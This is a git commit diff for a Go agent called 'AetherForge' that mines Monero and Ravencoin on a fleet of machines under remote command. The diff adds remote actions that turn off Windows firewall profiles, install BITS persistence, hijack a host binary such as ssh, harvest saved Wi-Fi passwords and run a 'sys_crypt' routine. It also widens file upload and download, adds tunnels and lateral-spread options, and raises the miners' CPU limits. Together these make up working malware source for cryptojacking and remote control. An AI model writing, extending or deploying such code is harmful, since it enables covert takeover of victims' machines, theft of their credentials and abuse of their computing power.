feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -18,12 +19,12 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch":
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "supp_seek":
|
||||
// No forge gate — always available; path is required at call time.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
@@ -123,6 +124,91 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_off":
|
||||
msg, err := deploy.DisableWindowsFirewall()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_on":
|
||||
msg, err := deploy.EnableWindowsFirewall()
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "firewall_profiles":
|
||||
// command: "on" or "off" (default off). path: Domain,Private,Public or all
|
||||
enable := strings.EqualFold(strings.TrimSpace(command), "on") ||
|
||||
strings.EqualFold(strings.TrimSpace(command), "enable") ||
|
||||
strings.EqualFold(strings.TrimSpace(command), "true")
|
||||
profiles := strings.TrimSpace(path)
|
||||
if profiles == "" {
|
||||
profiles = "all"
|
||||
}
|
||||
msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "bits_persist":
|
||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg)))
|
||||
return true
|
||||
|
||||
case "host_binary_persist":
|
||||
bin, err := deploy.InstalledBinaryPath(c.cfg)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
preset := strings.TrimSpace(path)
|
||||
if preset == "" {
|
||||
preset = strings.TrimSpace(c.cfg.HostBinaryTarget)
|
||||
}
|
||||
if preset == "" {
|
||||
preset = "ssh"
|
||||
}
|
||||
target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
|
||||
return true
|
||||
|
||||
case "firewall_remove":
|
||||
var parts []string
|
||||
ruleName := strings.TrimSpace(path)
|
||||
if ruleName != "" {
|
||||
msg, err := deploy.RemoveFirewallRuleByName(ruleName)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
parts = append(parts, msg)
|
||||
}
|
||||
deploy.RemoveFirewallExclusionWindows(c.cfg)
|
||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
||||
return true
|
||||
|
||||
case "supp_seek":
|
||||
seekPath := strings.TrimSpace(path)
|
||||
if seekPath == "" {
|
||||
@@ -147,9 +233,62 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
}()
|
||||
return true
|
||||
|
||||
case "sys_crypt":
|
||||
go func() {
|
||||
result := SysCrypt()
|
||||
c.sendCommandResult(action, true, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "get_wifi_passwords":
|
||||
go func() {
|
||||
result := grabWiFiPasswords()
|
||||
c.sendCommandResult(action, true, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "mesh_status":
|
||||
count := c.mesh.PeerCount()
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
if count == 0 && c.cfg.MeshP2P {
|
||||
c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
|
||||
} else {
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
|
||||
}
|
||||
return true
|
||||
|
||||
case "wg_setup":
|
||||
// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
|
||||
go func() {
|
||||
result := WGSetupJSON()
|
||||
c.sendCommandResult(action, true, result)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "wg_configure":
|
||||
// data field carries the JSON WGConfigPayload from the server.
|
||||
var payload WGConfigPayload
|
||||
if err := json.Unmarshal([]byte(data), &payload); err != nil {
|
||||
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
if err := WGConfigure(payload); err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "WireGuard tunnel started")
|
||||
}()
|
||||
return true
|
||||
|
||||
case "wg_teardown":
|
||||
go func() {
|
||||
WGTeardown()
|
||||
c.sendCommandResult(action, true, "WireGuard tunnel removed")
|
||||
}()
|
||||
return true
|
||||
|
||||
case "wg_status":
|
||||
c.sendCommandResult(action, true, WGStatus())
|
||||
return true
|
||||
}
|
||||
|
||||
|
||||
@@ -288,6 +288,10 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
_ = deploy.PersistAgentID(installDir, c.agentID)
|
||||
}
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
@@ -389,9 +393,21 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
switch action {
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
@@ -466,27 +482,59 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, string(out))
|
||||
case "upload":
|
||||
if path == "" || data == "" {
|
||||
case "upload", "push_desktop":
|
||||
if data == "" {
|
||||
c.sendCommandResult(action, false, "data (base64) is required")
|
||||
return
|
||||
}
|
||||
dest := path
|
||||
if action == "push_desktop" {
|
||||
name := strings.TrimSpace(path)
|
||||
if name == "" {
|
||||
name = strings.TrimSpace(command)
|
||||
}
|
||||
var err error
|
||||
dest, err = deploy.ResolveDesktopFile(name)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "desktop path: "+err.Error())
|
||||
return
|
||||
}
|
||||
} else if dest == "" {
|
||||
c.sendCommandResult(action, false, "path and data (base64) are required")
|
||||
return
|
||||
} else {
|
||||
resolved, err := deploy.ResolveRemotePath(dest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
dest = resolved
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(data)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(path, decoded, 0644); err != nil {
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
c.sendCommandResult(action, false, "failed to create directory: "+err.Error())
|
||||
return
|
||||
}
|
||||
if err := os.WriteFile(dest, decoded, 0644); err != nil {
|
||||
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
|
||||
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded)))
|
||||
case "download":
|
||||
if path == "" {
|
||||
c.sendCommandResult(action, false, "path is required")
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(path)
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
b, err := os.ReadFile(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
|
||||
return
|
||||
@@ -792,7 +840,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.Services = lastPosture.Services
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
_ = c.write(Message{Type: "stats", Payload: payload})
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] stats send failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -58,10 +58,14 @@ type GPUMiner struct {
|
||||
mu sync.RWMutex
|
||||
stats GPUMinerStats
|
||||
active bool
|
||||
paused bool
|
||||
proc *os.Process // currently running subprocess (nil if stopped)
|
||||
|
||||
stopCh chan struct{}
|
||||
wg sync.WaitGroup
|
||||
stopCh chan struct{}
|
||||
pauseCh chan struct{} // closed when paused, re-created on resume
|
||||
resumeCh chan struct{} // closed when resuming from pause
|
||||
pauseMu sync.Mutex
|
||||
wg sync.WaitGroup
|
||||
}
|
||||
|
||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
||||
@@ -81,12 +85,17 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
||||
return nil
|
||||
}
|
||||
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
||||
return &GPUMiner{
|
||||
g := &GPUMiner{
|
||||
cfg: cfg,
|
||||
info: info,
|
||||
installDir: installDir,
|
||||
stopCh: make(chan struct{}),
|
||||
pauseCh: make(chan struct{}),
|
||||
resumeCh: make(chan struct{}),
|
||||
}
|
||||
// Start with resumeCh closed so the run loop is not blocked.
|
||||
close(g.resumeCh)
|
||||
return g
|
||||
}
|
||||
|
||||
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
||||
@@ -100,6 +109,8 @@ func (g *GPUMiner) Start() {
|
||||
|
||||
// Stop shuts down the GPU miner and waits for it to exit.
|
||||
func (g *GPUMiner) Stop() {
|
||||
// Resume first so the run loop is not blocked on pauseCh when stop fires.
|
||||
g.Resume()
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
default:
|
||||
@@ -108,6 +119,74 @@ func (g *GPUMiner) Stop() {
|
||||
g.wg.Wait()
|
||||
}
|
||||
|
||||
// Pause suspends KawPoW polling and kills the running miner subprocess until
|
||||
// Resume is called. Safe to call multiple times.
|
||||
func (g *GPUMiner) Pause() {
|
||||
g.pauseMu.Lock()
|
||||
defer g.pauseMu.Unlock()
|
||||
g.mu.Lock()
|
||||
already := g.paused
|
||||
if !already {
|
||||
g.paused = true
|
||||
// Kill the running process so it stops consuming GPU.
|
||||
if g.proc != nil {
|
||||
_ = g.proc.Kill()
|
||||
}
|
||||
}
|
||||
g.mu.Unlock()
|
||||
if !already {
|
||||
// Signal the run loop to enter the paused wait.
|
||||
select {
|
||||
case <-g.pauseCh:
|
||||
default:
|
||||
close(g.pauseCh)
|
||||
}
|
||||
log.Printf("[gpu] miner paused by remote command")
|
||||
}
|
||||
}
|
||||
|
||||
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
|
||||
func (g *GPUMiner) Resume() {
|
||||
g.pauseMu.Lock()
|
||||
defer g.pauseMu.Unlock()
|
||||
g.mu.Lock()
|
||||
wasPaused := g.paused
|
||||
g.paused = false
|
||||
g.mu.Unlock()
|
||||
if wasPaused {
|
||||
// Unblock the run loop waiting on resumeCh, then reset both channels.
|
||||
select {
|
||||
case <-g.resumeCh:
|
||||
default:
|
||||
close(g.resumeCh)
|
||||
}
|
||||
g.pauseCh = make(chan struct{})
|
||||
g.resumeCh = make(chan struct{})
|
||||
log.Printf("[gpu] miner resumed by remote command")
|
||||
}
|
||||
}
|
||||
|
||||
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
|
||||
func (g *GPUMiner) waitIfPaused() bool {
|
||||
g.pauseMu.Lock()
|
||||
pauseCh := g.pauseCh
|
||||
resumeCh := g.resumeCh
|
||||
g.pauseMu.Unlock()
|
||||
|
||||
select {
|
||||
case <-pauseCh:
|
||||
// Paused — wait for resume or stop.
|
||||
select {
|
||||
case <-g.stopCh:
|
||||
return false
|
||||
case <-resumeCh:
|
||||
return true
|
||||
}
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Stats returns the latest GPU mining statistics.
|
||||
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
||||
g.mu.RLock()
|
||||
@@ -159,6 +238,10 @@ func (g *GPUMiner) run() {
|
||||
default:
|
||||
}
|
||||
|
||||
if !g.waitIfPaused() {
|
||||
return
|
||||
}
|
||||
|
||||
ep := pools[poolIdx%len(pools)]
|
||||
proc, err := g.startProcessOnPool(binPath, ep)
|
||||
if err != nil {
|
||||
@@ -325,11 +408,24 @@ func (g *GPUMiner) spec() minerSpec {
|
||||
|
||||
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||
spec := g.spec()
|
||||
|
||||
// 1. Check the agent's install directory first.
|
||||
binPath := filepath.Join(g.installDir, spec.fileName)
|
||||
if _, err := os.Stat(binPath); err == nil {
|
||||
return binPath, nil
|
||||
}
|
||||
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
|
||||
|
||||
// 2. Check the directory that contains the running agent binary (side-by-side).
|
||||
if exePath, err := os.Executable(); err == nil {
|
||||
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
|
||||
if _, err := os.Stat(sideBySide); err == nil {
|
||||
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
|
||||
return sideBySide, nil
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Fall back to downloading from GitHub.
|
||||
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
|
||||
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
||||
return "", fmt.Errorf("download failed: %w", err)
|
||||
}
|
||||
|
||||
@@ -21,11 +21,11 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
BuiltAt: time.Now(),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: true,
|
||||
PoolTLS: false,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 80,
|
||||
MaxMemoryPct: 70,
|
||||
MinFreeRAM: 1024,
|
||||
MaxCPUUsage: 95,
|
||||
MaxMemoryPct: 85,
|
||||
MinFreeRAM: 512,
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
|
||||
Binary file not shown.
Reference in New Issue
Block a user